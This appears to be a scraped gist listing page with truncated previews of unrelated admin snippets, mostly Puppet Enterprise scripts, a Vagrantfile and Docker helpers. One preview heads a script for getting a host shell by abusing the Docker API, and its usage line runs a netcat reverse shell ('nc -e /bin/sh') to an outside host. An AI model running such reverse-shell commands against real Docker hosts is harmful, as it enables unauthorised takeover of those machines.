This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/opt/puppetlabs/puppet/bin/ruby | |
| # Use the puppetclassify gem to add the pe_repo::platform classes to the master. | |
| # See https://github.com/puppetlabs/puppet-classify | |
| require 'puppetclassify' | |
| ############################################################################################## | |
| # | |
| # Support Function Definition | |
| # |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env ruby | |
| # Get Docker Host Shell abusing Docker API | |
| # Copyright (C) 2015 Kost. Distributed under GPL. | |
| # | |
| # Prerequisite: | |
| # gem install docker-api | |
| # | |
| # Example: | |
| # ./docker_get_host_shell.rb -v -s 'nc -e /bin/sh example.com 4554' tcp://example.com:5422 | |
| # |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # -*- mode: ruby -*- | |
| # vi: set ft=ruby : | |
| # All Vagrant configuration is done below. The "2" in Vagrant.configure | |
| # configures the configuration version (we support older styles for | |
| # backwards compatibility). Please don't change it unless you know what | |
| # you're doing. | |
| Vagrant.configure(2) do |config| | |
| # The most common configuration options are documented and commented below. | |
| # For a complete reference, please see the online documentation at |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # How to run debuild with lintian on ubuntu | |
| # fixes error: bad-distribution-in-changes-file unstable | |
| # Finished running lintian. | |
| debuild -us -uc --lintian-opts --profile debian |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| curl -X POST \ | |
| https://$(facter fqdn):4433/classifier-api/v1/groups \ | |
| --cert /etc/puppetlabs/puppet/ssl/certs/$(facter fqdn).pem \ | |
| --key /etc/puppetlabs/puppet/ssl/private_keys/$(facter fqdn).pem \ | |
| --cacert /etc/puppetlabs/puppet/ssl/certs/ca.pem \ | |
| -H "Content-Type: application/json" | |
| -d @data.json |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| docker() { | |
| if [[ "$1" == "shell" ]]; then | |
| if [[ "$2" == "" ]]; then | |
| echo "usage: docker shell CONTAINER_ID" | |
| else | |
| command docker exec -ti $2 bash||sh | |
| fi | |
| else | |
| command docker "$@" | |
| fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # | |
| # This script will force a refresh of the classes available to use in the | |
| # PE Node Classifier. This enables us to classify immediately, rather than | |
| # waiting for the cache to expire. | |
| # | |
| # refresh_classes.sh | |
| # | |
| if [ "$#" -ne 0 ] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| PUBDIR=$1 | |
| FINAL_DIR="/var/www/html/${PUBDIR}" | |
| GRAPH_DIR="/var/opt/lib/pe-puppet/state/graphs/" | |
| puppet apply -e "package {['httpd','graphviz']: ensure => present, } | |
| service { 'httpd': ensure => 'running', }" | |
| echo "publishing to $FINAL_DIR" | |
| mkdir -p $FINAL_DIR | |
| puppet apply --graph -e 'include ordering::mysql' && \ | |
| cd $GRAPH_DIR |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # define the shared secret we will accept to authenticate identity | |
| SHARED_SECRET="your the best" | |
| # capture the certname (hostname) used for the request | |
| CERT_NAME=$1 | |
| # feed STDIN (file descriptor 0) to the openssl command and pipe | |
| # the output to grep to get the sharedSecret supplied by the agent | |
| # capturing the value in a variable called AGENT_SECRET |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Put your custom commands here that should be executed once | |
| # the system init finished. By default this file does nothing. | |
| chgrp nogroup /dev/shm | |
| chmod g+w /dev/shm | |
| exit 0 |